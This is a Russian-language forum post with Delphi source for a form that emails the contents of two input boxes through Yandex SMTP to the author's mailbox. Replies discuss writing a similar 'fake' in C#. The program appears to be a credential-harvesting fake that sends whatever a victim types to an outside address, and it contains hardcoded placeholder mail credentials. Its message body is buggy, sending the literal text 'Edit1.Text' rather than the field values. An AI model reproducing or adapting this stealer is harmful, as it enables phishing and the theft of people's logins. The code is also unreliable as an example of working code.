unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient,
IdSMTP, IdMessage, IdBaseComponent, IdAntiFreezeBase, IdAntiFreeze,
StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
Edit2: TEdit;
IdSMTP1: TIdSMTP;
IdMessage1: TIdMessage;
IdAntiFreeze1: TIdAntiFreeze;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
begin
// Начало кода обработчика кнопки
idsmtp1.Host:='smtp.yandex.ru'; //smtp сервер
idsmtp1.HeloName:='vasjapupkin112'; // логин
idsmtp1.Port:=25; // порт можно 25, но он не у всех открыт, рекомендую 587
idsmtp1.Username:='vasjapupkin112'; // логин опять
idsmtp1.Password:='qwerty123'; //пароль
idmessage1.CharSet:='windows-1251'; // чтобы сообщения не приходили кракозябрами (работает только в дельфи 7)
idmessage1.ContentType := 'text/html'; // чтобы сообщения не приходили кракозябрами (работает только в дельфи 7)
//IdMessage1.ContentType:= 'text/plain';
idmessage1.Body.Text:='Edit1.Text'+'Edit2.Text'; // текст сообщения (тип string)
idmessage1.From.Text:='[Ссылки могут видеть только зарегистрированные пользователи. ]'; // От кого, надо чтоб совпадало с реальной почтой, иначе не отправиться
idmessage1.Recipients.EMailAddresses:='моё-мыло@yandex.ru'; // куда шлём
idmessage1.Subject:=' asda '; // тема
idsmtp1.Connect; // соединение
if idsmtp1.Connected=true then // когда подключиться то...
begin
idsmtp1.Send(idmessage1); //отправить сообщение 1
idsmtp1.Disconnect(); // дисконнект
end
// Конец кода обработчика кнопки
end;
end;
end.
saschawiebe, вечером приеду, напишу гайд по созданию фейка на C#.
zuzzz, не пишите глупостей, если не владеете знаниями в данной области.
Для использования WinApi есть замечательный pinvoke, в частности DllImport.
Я не написал, что нельзя использовать winapi. Да у меня маловато знаний в этой области. Я сам ни разу не вызывал небезопасный код из C#, и не знаю как это будет работать. Но это и не глупость. Смысл использовать новую технологию и цепляться за старые. Не уж то в .NET Framework не найдется аналогов этих winAPI используемые в этой програмке?